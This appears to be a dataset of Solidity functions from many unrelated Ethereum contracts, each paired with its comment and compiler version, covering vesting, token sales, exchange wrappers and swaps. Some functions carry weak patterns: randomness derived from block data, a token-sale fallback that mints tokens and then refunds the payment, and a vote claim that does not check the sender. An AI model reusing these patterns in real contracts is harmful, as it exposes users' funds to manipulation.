0);\r\n // Following check is not exact for unicode strings, but here i just want to make sure that some label is provided\r\n // See https://ethereum.stackexchange.com/questions/13862/is-it-possible-to-check-string-variables-length-inside-the-contract/13886\r\n require(bytes(_label).length > 2);\r\n\r\n // Set owner to _owner, as msg.sender is the StandingOrderFactory contract\r\n owner = _owner;\r\n\r\n payee = _payee;\r\n paymentInterval = _paymentInterval;\r\n paymentAmount = _paymentAmount;\r\n ownerLabel = _label;\r\n startTime = _startTime;\r\n isTerminated = false;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Determine how much funds payee is entitled to collect\r\n * Note that this might be more than actual funds available!\r\n * @return Number of wei that payee is entitled to collect\r\n */", "function_code": "function getEntitledFunds() constant returns (uint) {\r\n // First check if the contract startTime has been reached at all\r\n if (now < startTime) {\r\n // startTime not yet reached\r\n return 0;\r\n }\r\n\r\n // startTime has been reached, so add first payment\r\n uint entitledAmount = paymentAmount;\r\n\r\n // Determine endTime for calculation. If order has been terminated -> terminationTime, otherwise current time\r\n uint endTime = isTerminated ? terminationTime : now;\r\n\r\n // calculate number of complete intervals since startTime\r\n uint runtime = endTime.sub(startTime);\r\n uint completeIntervals = runtime.div(paymentInterval); // Division always truncates, so implicitly rounding down here.\r\n entitledAmount = entitledAmount.add(completeIntervals.mul(paymentAmount));\r\n\r\n // subtract already collected funds\r\n return entitledAmount.sub(claimedFunds);\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Determine how much funds are still owned by owner (not yet reserved for payee)\r\n * Note that this can be negative in case contract is not funded enough to cover entitled amount for payee!\r\n * @return number of wei belonging owner, negative if contract is missing funds to cover payments\r\n */", "function_code": "function getOwnerFunds() constant returns (int) {\r\n // Conversion from unsigned int to int will produce unexpected results only for very large\r\n // numbers (2^255 and greater). This is about 5.7e+58 ether.\r\n // -> There will be no situation when the contract balance (this.balance) will hit this limit\r\n // -> getEntitledFunds() might end up hitting this limit when the contract creator INTENTIONALLY sets\r\n // any combination of absurdly high payment rate, low interval or a startTime way in the past.\r\n // Being entitled to more than 5.7e+58 ether obviously will never be an expected usecase\r\n // Therefor the conversion can be considered safe here.\r\n return int256(this.balance) - int256(getEntitledFunds());\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Collect payment\r\n * Can only be called by payee. This will transfer all available funds (see getUnclaimedFunds) to payee\r\n * @return amount that has been transferred!\r\n */", "function_code": "function collectFunds() onlyPayee returns(uint) {\r\n uint amount = getUnclaimedFunds();\r\n if (amount <= 0) {\r\n // nothing to collect :-(\r\n revert();\r\n }\r\n\r\n // keep track of collected funds\r\n claimedFunds = claimedFunds.add(amount);\r\n\r\n // create log entry\r\n Collect(amount);\r\n\r\n // initiate transfer of unclaimed funds to payee\r\n payee.transfer(amount);\r\n\r\n return amount;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Withdraw requested amount back to owner.\r\n * Only funds not (yet) reserved for payee can be withdrawn. So it is not possible for the owner\r\n * to withdraw unclaimed funds - They can only be claimed by payee!\r\n * Withdrawing funds does not terminate the order, at any time owner can fund it again!\r\n * @param amount Number of wei owner wants to withdraw\r\n */", "function_code": "function WithdrawOwnerFunds(uint amount) onlyOwner {\r\n int intOwnerFunds = getOwnerFunds(); // this might be negative in case of underfunded contract!\r\n if (intOwnerFunds <= 0) {\r\n // nothing available to withdraw :-(\r\n revert();\r\n }\r\n // conversion int -> uint is safe here as I'm checking <= 0 above!\r\n uint256 ownerFunds = uint256(intOwnerFunds);\r\n\r\n if (amount > ownerFunds) {\r\n // Trying to withdraw more than available!\r\n revert();\r\n }\r\n\r\n // Log Withdraw event\r\n Withdraw(amount);\r\n\r\n owner.transfer(amount);\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Create a new standing order\r\n * The owner of the new order will be the address that called this function (msg.sender)\r\n * @param _payee The payee - the account that can collect payments from this contract\r\n * @param _paymentInterval Interval for payments, unit: seconds\r\n * @param _paymentAmount The amount payee can claim per period, unit: wei\r\n * @param _startTime Date and time (unix timestamp - seconds since 1970) when first payment can be claimed by payee\r\n * @param _label Label for contract, e.g \"rent\" or \"weekly paycheck\"\r\n * @return Address of new created standingOrder contract\r\n */", "function_code": "function createStandingOrder(address _payee, uint _paymentAmount, uint _paymentInterval, uint _startTime, string _label) returns (StandingOrder) {\r\n StandingOrder so = new StandingOrder(msg.sender, _payee, _paymentInterval, _paymentAmount, _startTime, _label);\r\n standingOrdersByOwner[msg.sender].push(so);\r\n standingOrdersByPayee[_payee].push(so);\r\n LogOrderCreated(so, msg.sender, _payee);\r\n return so;\r\n }", "version": "0.4.15"} {"comment": "// ------------------------------------------------------------------------\n// 1,000 LEIA per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 1200;\r\n } else {\r\n tokens = msg.value * 1000;\r\n }\r\n balances[msg.sender] = balances[msg.sender].add(tokens);\r\n _totalSupply = _totalSupply.add(tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n msg.sender.transfer(msg.value);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @param _rate Number of token units a buyer gets per wei\r\n * @param _wallet Address where collected funds will be forwarded to\r\n * @param _token Address of the token being sold\r\n */", "function_code": "function Crowdsale(uint256 _rate, address _wallet, SancojTokenContract _token, address _tokenWallet, address _owner) public {\r\n require(_rate > 0);\r\n require(_wallet != address(0));\r\n require(_token != address(0));\r\n require(_tokenWallet != address(0));\r\n\r\n rate = _rate;\r\n wallet = _wallet;\r\n token = _token;\r\n tokenWallet = _tokenWallet;\r\n owner = _owner;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @notice Calculates available amount for a claim\r\n * @dev A pure function which doesn't reads anything from state\r\n * @param _now A timestamp to calculate the available amount\r\n * @param _start The vesting period start timestamp\r\n * @param _amountPerMember The amount of ERC20 tokens to be distributed to each member\r\n * during this vesting period\r\n * @param _duration The vesting total duration in seconds\r\n * @param _alreadyClaimed The amount of tokens already claimed by a member\r\n * @return The available amount for a claim\r\n */", "function_code": "function getAvailable(\r\n uint256 _now,\r\n uint256 _start,\r\n uint256 _amountPerMember,\r\n uint256 _duration,\r\n uint256 _alreadyClaimed\r\n ) public pure returns (uint256) {\r\n if (_now <= _start) {\r\n return 0;\r\n }\r\n\r\n // uint256 vestingEndsAt = _start + _duration;\r\n uint256 vestingEndsAt = _start.add(_duration);\r\n uint256 to = _now > vestingEndsAt ? vestingEndsAt : _now;\r\n\r\n // uint256 accrued = (to - _start) * _amountPerMember / _duration;\r\n uint256 accrued = ((to - _start).mul(_amountPerMember).div(_duration));\r\n\r\n // return accrued - _alreadyClaimed;\r\n return accrued.sub(_alreadyClaimed);\r\n }", "version": "0.6.12"} {"comment": "/*** Owner Methods ***/", "function_code": "function increaseDurationT(uint256 _newDurationT) external onlyOwner {\r\n require(_newDurationT > durationT, \"Vesting::increaseDurationT: Too small duration\");\r\n require((_newDurationT - durationT) < 180 days, \"Vesting::increaseDurationT: Too big duration\");\r\n\r\n uint256 prevDurationT = durationT;\r\n uint256 prevEndT = endT;\r\n\r\n durationT = _newDurationT;\r\n uint256 newEndT = startT.add(_newDurationT);\r\n endT = newEndT;\r\n\r\n emit IncreaseDurationT(prevDurationT, prevEndT, _newDurationT, newEndT);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice An active member claims a distributed amount of votes\r\n * @dev Caches unclaimed balance per block number which could be used by voting contract\r\n * @param _to address to claim votes to\r\n */", "function_code": "function claimVotes(address _to) external {\r\n Member memory member = members[_to];\r\n require(member.active == true, \"Vesting::claimVotes: User not active\");\r\n\r\n uint256 votes = getAvailableVotes(member.alreadyClaimedVotes);\r\n\r\n require(block.timestamp <= endT, \"Vesting::claimVotes: Vote vesting has ended\");\r\n require(votes > 0, \"Vesting::claimVotes: Nothing to claim\");\r\n\r\n _claimVotes(_to, member, votes);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice An active member claims a distributed amount of ERC20 tokens\r\n * @param _to address to claim ERC20 tokens to\r\n */", "function_code": "function claimTokens(address _to) external {\r\n Member memory member = members[msg.sender];\r\n require(member.active == true, \"Vesting::claimTokens: User not active\");\r\n\r\n uint256 bigAmount = getAvailableTokens(member.alreadyClaimedTokens);\r\n require(bigAmount > 0, \"Vesting::claimTokens: Nothing to claim\");\r\n uint96 amount = safe96(bigAmount, \"Vesting::claimTokens: Amount overflow\");\r\n\r\n // member.alreadyClaimed += amount\r\n uint96 newAlreadyClaimed =\r\n add96(member.alreadyClaimedTokens, amount, \"Vesting::claimTokens: NewAlreadyClaimed overflow\");\r\n members[msg.sender].alreadyClaimedTokens = newAlreadyClaimed;\r\n\r\n uint256 votes = getAvailableVotes(member.alreadyClaimedVotes);\r\n\r\n if (block.timestamp <= endT) {\r\n _claimVotes(msg.sender, member, votes);\r\n }\r\n\r\n emit ClaimTokens(msg.sender, _to, amount, newAlreadyClaimed, votes);\r\n\r\n IERC20(token).transfer(_to, bigAmount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Delegates an already claimed votes amount to the given address\r\n * @param _to address to delegate votes\r\n */", "function_code": "function delegateVotes(address _to) external {\r\n Member memory member = members[msg.sender];\r\n require(_to != address(0), \"Vesting::delegateVotes: Can't delegate to 0 address\");\r\n require(member.active == true, \"Vesting::delegateVotes: msg.sender not active\");\r\n\r\n address currentDelegate = getVoteUser(msg.sender);\r\n require(_to != currentDelegate, \"Vesting::delegateVotes: Already delegated to this address\");\r\n\r\n voteDelegations[msg.sender] = _to;\r\n uint96 adjustedVotes =\r\n sub96(member.alreadyClaimedVotes, member.alreadyClaimedTokens, \"Vesting::claimVotes: AdjustedVotes underflow\");\r\n\r\n _subDelegatedVotesCache(currentDelegate, adjustedVotes);\r\n _addDelegatedVotesCache(_to, adjustedVotes);\r\n\r\n emit DelegateVotes(msg.sender, _to, currentDelegate, adjustedVotes);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Transfers a vested rights for a member funds to another address\r\n * @dev A new member won't have any votes for a period between a start timestamp and a current timestamp\r\n * @param _to address to transfer a vested right to\r\n */", "function_code": "function transfer(address _to) external {\r\n Member memory from = members[msg.sender];\r\n Member memory to = members[_to];\r\n\r\n uint96 alreadyClaimedTokens = from.alreadyClaimedTokens;\r\n uint96 alreadyClaimedVotes = from.alreadyClaimedVotes;\r\n\r\n require(from.active == true, \"Vesting::transfer: From member is inactive\");\r\n require(to.active == false, \"Vesting::transfer: To address is already active\");\r\n require(to.transferred == false, \"Vesting::transfer: To address has been already used\");\r\n\r\n members[msg.sender] = Member({ active: false, transferred: true, alreadyClaimedVotes: 0, alreadyClaimedTokens: 0 });\r\n members[_to] = Member({\r\n active: true,\r\n transferred: false,\r\n alreadyClaimedVotes: alreadyClaimedVotes,\r\n alreadyClaimedTokens: alreadyClaimedTokens\r\n });\r\n\r\n address currentDelegate = voteDelegations[msg.sender];\r\n\r\n uint32 currentBlockNumber = safe32(block.number, \"Vesting::transfer: Block number exceeds 32 bits\");\r\n\r\n checkpoints[_to][0] = Checkpoint(uint32(0), 0);\r\n if (currentDelegate == address(0)) {\r\n uint96 adjustedVotes =\r\n sub96(from.alreadyClaimedVotes, from.alreadyClaimedTokens, \"Vesting::claimVotes: AdjustedVotes underflow\");\r\n _subDelegatedVotesCache(msg.sender, adjustedVotes);\r\n checkpoints[_to][1] = Checkpoint(currentBlockNumber, adjustedVotes);\r\n numCheckpoints[_to] = 2;\r\n } else {\r\n numCheckpoints[_to] = 1;\r\n }\r\n\r\n voteDelegations[_to] = voteDelegations[msg.sender];\r\n delete voteDelegations[msg.sender];\r\n\r\n Member memory toMember = members[_to];\r\n\r\n emit Transfer(msg.sender, _to, alreadyClaimedVotes, alreadyClaimedTokens, currentDelegate);\r\n\r\n uint256 votes = getAvailableVotes(toMember.alreadyClaimedVotes);\r\n _claimVotes(_to, toMember, votes);\r\n }", "version": "0.6.12"} {"comment": "/// @dev A copy from CVP token, only the event name changed", "function_code": "function _writeCheckpoint(\r\n address delegatee,\r\n uint32 nCheckpoints,\r\n uint96 oldVotes,\r\n uint96 newVotes\r\n ) internal {\r\n uint32 blockNumber = safe32(block.number, \"Vesting::_writeCheckpoint: Block number exceeds 32 bits\");\r\n\r\n if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {\r\n checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;\r\n } else {\r\n checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);\r\n numCheckpoints[delegatee] = nCheckpoints + 1;\r\n }\r\n\r\n emit UnclaimedBalanceChanged(delegatee, oldVotes, newVotes);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Gets the amount that Totle needs to give for this order\n/// @param genericPayload the data for this order in a generic format\n/// @return amountToGive amount taker needs to give in order to fill the order", "function_code": "function getAmountToGive(\r\n bytes genericPayload\r\n )\r\n public\r\n view\r\n onlyTotle\r\n whenNotPaused\r\n returns (uint256 amountToGive)\r\n {\r\n bool success;\r\n bytes4 functionSelector = selectorProvider.getSelector(this.getAmountToGive.selector);\r\n\r\n assembly {\r\n let functionSelectorLength := 0x04\r\n let functionSelectorOffset := 0x1C\r\n let scratchSpace := 0x0\r\n let wordLength := 0x20\r\n let bytesLength := mload(genericPayload)\r\n let totalLength := add(functionSelectorLength, bytesLength)\r\n let startOfNewData := add(genericPayload, functionSelectorOffset)\r\n\r\n mstore(add(scratchSpace, functionSelectorOffset), functionSelector)\r\n let functionSelectorCorrect := mload(scratchSpace)\r\n mstore(genericPayload, functionSelectorCorrect)\r\n\r\n success := call(\r\n gas,\r\n address, // This address of the current contract\r\n callvalue,\r\n startOfNewData, // Start data at the beginning of the functionSelector\r\n totalLength, // Total length of all data, including functionSelector\r\n scratchSpace, // Use the first word of memory (scratch space) to store our return variable.\r\n wordLength // Length of return variable is one word\r\n )\r\n amountToGive := mload(scratchSpace)\r\n if eq(success, 0) { revert(0, 0) }\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @notice Perform exchange-specific checks on the given order\n/// @dev this should be called to check for payload errors\n/// @param genericPayload the data for this order in a generic format\n/// @return checksPassed value representing pass or fail", "function_code": "function staticExchangeChecks(\r\n bytes genericPayload\r\n )\r\n public\r\n view\r\n onlyTotle\r\n whenNotPaused\r\n returns (bool checksPassed)\r\n {\r\n bool success;\r\n bytes4 functionSelector = selectorProvider.getSelector(this.staticExchangeChecks.selector);\r\n assembly {\r\n let functionSelectorLength := 0x04\r\n let functionSelectorOffset := 0x1C\r\n let scratchSpace := 0x0\r\n let wordLength := 0x20\r\n let bytesLength := mload(genericPayload)\r\n let totalLength := add(functionSelectorLength, bytesLength)\r\n let startOfNewData := add(genericPayload, functionSelectorOffset)\r\n\r\n mstore(add(scratchSpace, functionSelectorOffset), functionSelector)\r\n let functionSelectorCorrect := mload(scratchSpace)\r\n mstore(genericPayload, functionSelectorCorrect)\r\n\r\n success := call(\r\n gas,\r\n address, // This address of the current contract\r\n callvalue,\r\n startOfNewData, // Start data at the beginning of the functionSelector\r\n totalLength, // Total length of all data, including functionSelector\r\n scratchSpace, // Use the first word of memory (scratch space) to store our return variable.\r\n wordLength // Length of return variable is one word\r\n )\r\n checksPassed := mload(scratchSpace)\r\n if eq(success, 0) { revert(0, 0) }\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @dev Calculates EIP712 encoding for a hash struct in this EIP712 Domain.\n/// @param hashStruct The EIP712 hash struct.\n/// @return EIP712 hash applied to this EIP712 Domain.", "function_code": "function hashEIP712Message(bytes32 hashStruct)\r\n internal\r\n view\r\n returns (bytes32 result)\r\n {\r\n bytes32 eip712DomainHash = EIP712_DOMAIN_HASH;\r\n\r\n // Assembly for more efficient computing:\r\n // keccak256(abi.encodePacked(\r\n // EIP191_HEADER,\r\n // EIP712_DOMAIN_HASH,\r\n // hashStruct\r\n // ));\r\n\r\n assembly {\r\n // Load free memory pointer\r\n let memPtr := mload(64)\r\n\r\n mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header\r\n mstore(add(memPtr, 2), eip712DomainHash) // EIP712 domain hash\r\n mstore(add(memPtr, 34), hashStruct) // Hash of struct\r\n\r\n // Compute hash\r\n result := keccak256(memPtr, 66)\r\n }\r\n return result;\r\n }", "version": "0.4.25"} {"comment": "/// @dev Calculates EIP712 hash of the order.\n/// @param order The order structure.\n/// @return EIP712 hash of the order.", "function_code": "function hashOrder(Order memory order)\r\n internal\r\n pure\r\n returns (bytes32 result)\r\n {\r\n bytes32 schemaHash = EIP712_ORDER_SCHEMA_HASH;\r\n bytes32 makerAssetDataHash = keccak256(order.makerAssetData);\r\n bytes32 takerAssetDataHash = keccak256(order.takerAssetData);\r\n\r\n // Assembly for more efficiently computing:\r\n // keccak256(abi.encodePacked(\r\n // EIP712_ORDER_SCHEMA_HASH,\r\n // bytes32(order.makerAddress),\r\n // bytes32(order.takerAddress),\r\n // bytes32(order.feeRecipientAddress),\r\n // bytes32(order.senderAddress),\r\n // order.makerAssetAmount,\r\n // order.takerAssetAmount,\r\n // order.makerFee,\r\n // order.takerFee,\r\n // order.expirationTimeSeconds,\r\n // order.salt,\r\n // keccak256(order.makerAssetData),\r\n // keccak256(order.takerAssetData)\r\n // ));\r\n\r\n assembly {\r\n // Calculate memory addresses that will be swapped out before hashing\r\n let pos1 := sub(order, 32)\r\n let pos2 := add(order, 320)\r\n let pos3 := add(order, 352)\r\n\r\n // Backup\r\n let temp1 := mload(pos1)\r\n let temp2 := mload(pos2)\r\n let temp3 := mload(pos3)\r\n\r\n // Hash in place\r\n mstore(pos1, schemaHash)\r\n mstore(pos2, makerAssetDataHash)\r\n mstore(pos3, takerAssetDataHash)\r\n result := keccak256(pos1, 416)\r\n\r\n // Restore\r\n mstore(pos1, temp1)\r\n mstore(pos2, temp2)\r\n mstore(pos3, temp3)\r\n }\r\n return result;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Gets the amount that Totle needs to give for this order\n/// @param data LibOrder.Order struct containing order values\n/// @return amountToGive amount taker needs to give in order to fill the order", "function_code": "function getAmountToGive_(\r\n OrderData data\r\n )\r\n public\r\n view\r\n onlySelf\r\n returns (uint256 amountToGive)\r\n {\r\n LibOrder.OrderInfo memory orderInfo = exchange.getOrderInfo(\r\n getZeroExOrder(data)\r\n );\r\n uint makerAssetAvailable = getAssetDataAvailable(data.makerAssetData, data.makerAddress);\r\n uint feeAssetAvailable = getAssetDataAvailable(ZRX_ASSET_DATA, data.makerAddress);\r\n\r\n uint maxFromMakerFee = data.makerFee == 0 ? Utils.max_uint() : getPartialAmount(feeAssetAvailable, data.makerFee, data.takerAssetAmount);\r\n amountToGive = Math.min(Math.min(\r\n getPartialAmount(makerAssetAvailable, data.makerAssetAmount, data.takerAssetAmount),\r\n maxFromMakerFee),\r\n SafeMath.sub(data.takerAssetAmount, orderInfo.orderTakerAssetFilledAmount)\r\n );\r\n /* logger.log(\"Getting amountToGive from ZeroEx arg2: amountToGive\", amountToGive); */\r\n }", "version": "0.4.25"} {"comment": "/// @notice Perform exchange-specific checks on the given order\n/// @dev This should be called to check for payload errors\n/// @param data LibOrder.Order struct containing order values\n/// @return checksPassed value representing pass or fail", "function_code": "function staticExchangeChecks_(\r\n OrderData data\r\n )\r\n public\r\n view\r\n onlySelf\r\n returns (bool checksPassed)\r\n {\r\n\r\n // Make sure that:\r\n // The order is not expired\r\n // Both the maker and taker assets are ERC20 tokens\r\n // The taker does not have to pay a fee (we don't support fees yet)\r\n // We are permitted to take this order\r\n // We are permitted to send this order\r\n // TODO: Should we check signatures here?\r\n return (block.timestamp <= data.expirationTimeSeconds &&\r\n toBytes4(data.takerAssetData, 0) == bytes4(0xf47261b0) &&\r\n toBytes4(data.makerAssetData, 0) == bytes4(0xf47261b0) &&\r\n data.takerFee == 0 &&\r\n (data.takerAddress == address(0x0) || data.takerAddress == address(this)) &&\r\n (data.senderAddress == address(0x0) || data.senderAddress == address(this))\r\n );\r\n }", "version": "0.4.25"} {"comment": "/// @notice Perform a buy order at the exchange\n/// @param data LibOrder.Order struct containing order values\n/// @return amountSpentOnOrder the amount that would be spent on the order\n/// @return amountReceivedFromOrder the amount that was received from this order", "function_code": "function performBuyOrder_(\r\n OrderData data\r\n )\r\n public\r\n payable\r\n onlySelf\r\n returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)\r\n {\r\n uint256 amountToGiveForOrder = toUint(msg.data, msg.data.length - 32);\r\n\r\n approveAddress(ERC20_ASSET_PROXY, toAddress(data.takerAssetData, 16));\r\n\r\n weth.deposit.value(amountToGiveForOrder)();\r\n\r\n LibFillResults.FillResults memory results = exchange.fillOrder(\r\n getZeroExOrder(data),\r\n amountToGiveForOrder,\r\n data.signature\r\n );\r\n require(ERC20SafeTransfer.safeTransfer(toAddress(data.makerAssetData, 16), totlePrimary, results.makerAssetFilledAmount));\r\n\r\n amountSpentOnOrder = results.takerAssetFilledAmount;\r\n amountReceivedFromOrder = results.makerAssetFilledAmount;\r\n /* logger.log(\"Performed buy order on ZeroEx arg2: amountSpentOnOrder, arg3: amountReceivedFromOrder\", amountSpentOnOrder, amountReceivedFromOrder); */\r\n }", "version": "0.4.25"} {"comment": "// utility functions", "function_code": "function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {\n\t\tif (_i == 0) {\n\t\t\treturn \"0\";\n\t\t}\n\t\tuint256 j = _i;\n\t\tuint256 len;\n\t\twhile (j != 0) {\n\t\t\tlen++;\n\t\t\tj /= 10;\n\t\t}\n\t\tbytes memory bstr = new bytes(len);\n\t\tuint256 k = len;\n\t\twhile (_i != 0) {\n\t\t\tk = k - 1;\n\t\t\tuint8 temp = (48 + uint8(_i - (_i / 10) * 10));\n\t\t\tbytes1 b1 = bytes1(temp);\n\t\t\tbstr[k] = b1;\n\t\t\t_i /= 10;\n\t\t}\n\t\treturn string(bstr);\n\t}", "version": "0.8.4"} {"comment": "/*\r\n Restricted functions (owner only)\r\n */", "function_code": "function reject(address applicant)\r\n public\r\n onlyOwner\r\n onlyPendingApplication(applicant)\r\n {\r\n applications[applicant].state = ApplicationState.Rejected;\r\n\r\n // protection against function reentry on an overriden transfer() function\r\n uint contribution = applications[applicant].contribution;\r\n applications[applicant].contribution = 0;\r\n applicant.transfer(contribution);\r\n\r\n contributionPending -= contribution;\r\n contributionRejected += contribution;\r\n\r\n RejectedApplication(applicant, contribution, applications[applicant].id);\r\n }", "version": "0.4.19"} {"comment": "/// @notice Add/replace/remove any number of functions and optionally execute\n/// a function with delegatecall\n/// @param _diamondCut Contains the facet addresses and function selectors\n/// @param _init The address of the contract or facet to execute _calldata\n/// @param _calldata A function call, including function selector and arguments\n/// _calldata is executed with delegatecall on _init", "function_code": "function diamondCut(\r\n FacetCut[] calldata _diamondCut,\r\n address _init,\r\n bytes calldata _calldata\r\n ) external override {\r\n LibDiamond.enforceIsContractOwner();\r\n LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage();\r\n uint256 originalSelectorCount = ds.selectorCount;\r\n uint256 selectorCount = originalSelectorCount;\r\n bytes32 selectorSlot;\r\n // Check if last selector slot is not full\r\n if (selectorCount % 8 > 0) {\r\n // get last selectorSlot\r\n selectorSlot = ds.selectorSlots[selectorCount / 8];\r\n }\r\n // loop through diamond cut\r\n for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) {\r\n (selectorCount, selectorSlot) = LibDiamond.addReplaceRemoveFacetSelectors(\r\n selectorCount,\r\n selectorSlot,\r\n _diamondCut[facetIndex].facetAddress,\r\n _diamondCut[facetIndex].action,\r\n _diamondCut[facetIndex].functionSelectors\r\n );\r\n }\r\n if (selectorCount != originalSelectorCount) {\r\n ds.selectorCount = uint16(selectorCount);\r\n }\r\n // If last selector slot is not full\r\n if (selectorCount % 8 > 0) {\r\n ds.selectorSlots[selectorCount / 8] = selectorSlot;\r\n }\r\n emit DiamondCut(_diamondCut, _init, _calldata);\r\n LibDiamond.initializeDiamondCut(_init, _calldata);\r\n }", "version": "0.7.1"} {"comment": "/**\r\n * @param tokenAmount Amount of tokens to swap with bep2\r\n * @param BNB_Address address of Binance Chain to which to receive the bep2 tokens\r\n */", "function_code": "function swap(uint tokenAmount, string memory BNB_Address) public returns(bool) {\r\n \r\n bool success = token.transferFrom(msg.sender, owner, tokenAmount);\r\n \r\n if(!success) {\r\n revert(\"Transfer of tokens to Swap contract failed.\");\r\n }\r\n \r\n emit Swaped(tokenAmount, BNB_Address);\r\n \r\n return true;\r\n \r\n }", "version": "0.5.8"} {"comment": "/**\r\n \t* @dev Moves specified amount of tokens from main balance to mining balance \r\n \t* @param _amount An uint256 representing the amount of tokens to transfer to main balance\r\n \t*/", "function_code": "function depositToMiningBalance(uint _amount) public {\r\n\t\trequire(balances[msg.sender] >= _amount, \"not enough tokens\");\r\n\t\trequire(getCurrentDayDeposited().add(_amount) <= DAY_MINING_DEPOSIT_LIMIT,\r\n\t\t\t\"Day mining deposit exceeded\");\r\n\t\trequire(miningTotalDeposited.add(_amount) <= TOTAL_MINING_DEPOSIT_LIMIT,\r\n\t\t\t\"Total mining deposit exceeded\");\r\n\r\n\t\tbalances[msg.sender] = balances[msg.sender].sub(_amount);\r\n\t\tminingBalances[msg.sender] = miningBalances[msg.sender].add(_amount);\r\n\t\tminingTotalDeposited = miningTotalDeposited.add(_amount);\r\n\t\tupdateCurrentDayDeposited(_amount);\r\n\t\tlastMiningBalanceUpdateTime[msg.sender] = now;\r\n\t\temit MiningBalanceUpdated(msg.sender, _amount, true);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t* @dev Get number of days for reward on mining. Maximum 100 days.\r\n \t* @return An uint256 representing number of days user will get reward for.\r\n \t*/", "function_code": "function getDaysForReward() public view returns (uint rewardDaysNum){\r\n\t\tif(lastMiningBalanceUpdateTime[msg.sender] == 0) {\r\n\t\t\treturn 0;\r\n\t\t} else {\r\n\t\t\tuint value = (now - lastMiningBalanceUpdateTime[msg.sender]) / (1 days);\r\n\t\t\tif(value > 100) {\r\n\t\t\t\treturn 100;\r\n\t\t\t} else {\r\n\t\t\t\treturn value;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t* @dev Calculate current mining reward based on total supply of tokens\r\n \t* @return An uint256 representing reward in percents multiplied by 1000000000\r\n \t*/", "function_code": "function getReward(uint _totalSupply) public pure returns (uint rewardPercent){\r\n\t\tuint rewardFactor = 1000000 * (10 ** uint256(decimals));\r\n\t\tuint decreaseFactor = 41666666;\r\n\r\n\t\tif(_totalSupply < 23 * rewardFactor) {\r\n\t\t\treturn 2000000000 - (decreaseFactor.mul(_totalSupply.div(rewardFactor)));\r\n\t\t}\r\n\r\n\t\tif(_totalSupply < MAX_SUPPLY) {\r\n\t\t\treturn 1041666666;\r\n\t\t} else {\r\n\t\t\treturn 1000000000;\r\n\t\t} \r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @dev Receive payment in ether and return tokens.\r\n */", "function_code": "function buyTokens() payable public {\r\n require(msg.value>=getPrice(),'Tx value cannot be lower than price of 1 token');\r\n uint256 amount = msg.value.div(getPrice());\r\n ERC20 erc20 = ERC20(token);\r\n require(erc20.balanceOf(address(this))>=amount,\"Sorry, token vendor does not possess enough tokens for this purchase\");\r\n erc20.transfer(msg.sender,amount);\r\n emit TokensBought(msg.sender,amount);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Receive payment in tokens and return ether. \r\n * Only usable by accounts which allowed the smart contract to transfer tokens from their account.\r\n */", "function_code": "function sellTokens(uint256 _amount) public {\r\n require(_amount>0,'You cannot sell 0 tokens');\r\n uint256 ethToSend = _amount.mul(getPrice());\r\n require(address(this).balance>=ethToSend,'Sorry, vendor does not possess enough Ether to trade for your tokens');\r\n ERC20 erc20 = ERC20(token);\r\n require(erc20.balanceOf(msg.sender)>=_amount,\"You cannot sell more tokens than you own on your balance\");\r\n require(erc20.allowance(msg.sender,address(this))>=_amount,\"You need to allow this contract to transfer enough tokens from your account\");\r\n erc20.transferFrom(msg.sender,address(this),_amount);\r\n msg.sender.transfer(ethToSend);\r\n emit TokensSold(msg.sender,_amount);\r\n }", "version": "0.5.11"} {"comment": "/**\n * @notice Update royalty info for collection\n * @param collection address of the NFT contract\n * @param setter address that sets the receiver\n * @param receiver receiver for the royalty fee\n * @param fee fee (500 = 5%, 1,000 = 10%)\n */", "function_code": "function updateRoyaltyInfoForCollection(\n address collection,\n address setter,\n address receiver,\n uint256 fee\n ) external override onlyOwner {\n require(fee <= royaltyFeeLimit, \"Registry: Royalty fee too high\");\n _royaltyFeeInfoCollection[collection] = FeeInfo({\n setter: setter,\n receiver: receiver,\n fee: fee\n });\n\n emit RoyaltyFeeUpdate(collection, setter, receiver, fee);\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Get random number.\r\n * @dev Random number calculation depends on block timestamp,\r\n * @dev difficulty, number and hash.\r\n *\r\n * @param min Minimal number.\r\n * @param max Maximum number.\r\n * @param time Timestamp.\r\n * @param difficulty Block difficulty.\r\n * @param number Block number.\r\n * @param bHash Block hash.\r\n */", "function_code": "function randomNumber(\r\n uint min,\r\n uint max,\r\n uint time,\r\n uint difficulty,\r\n uint number,\r\n bytes32 bHash\r\n ) \r\n public \r\n pure \r\n returns (uint) \r\n {\r\n min ++;\r\n max ++;\r\n\r\n uint random = uint(keccak256(\r\n time * \r\n difficulty * \r\n number *\r\n uint(bHash)\r\n ))%10 + 1;\r\n \r\n uint result = uint(keccak256(random))%(min+max)-min;\r\n \r\n if (result > max) {\r\n result = max;\r\n }\r\n \r\n if (result < min) {\r\n result = 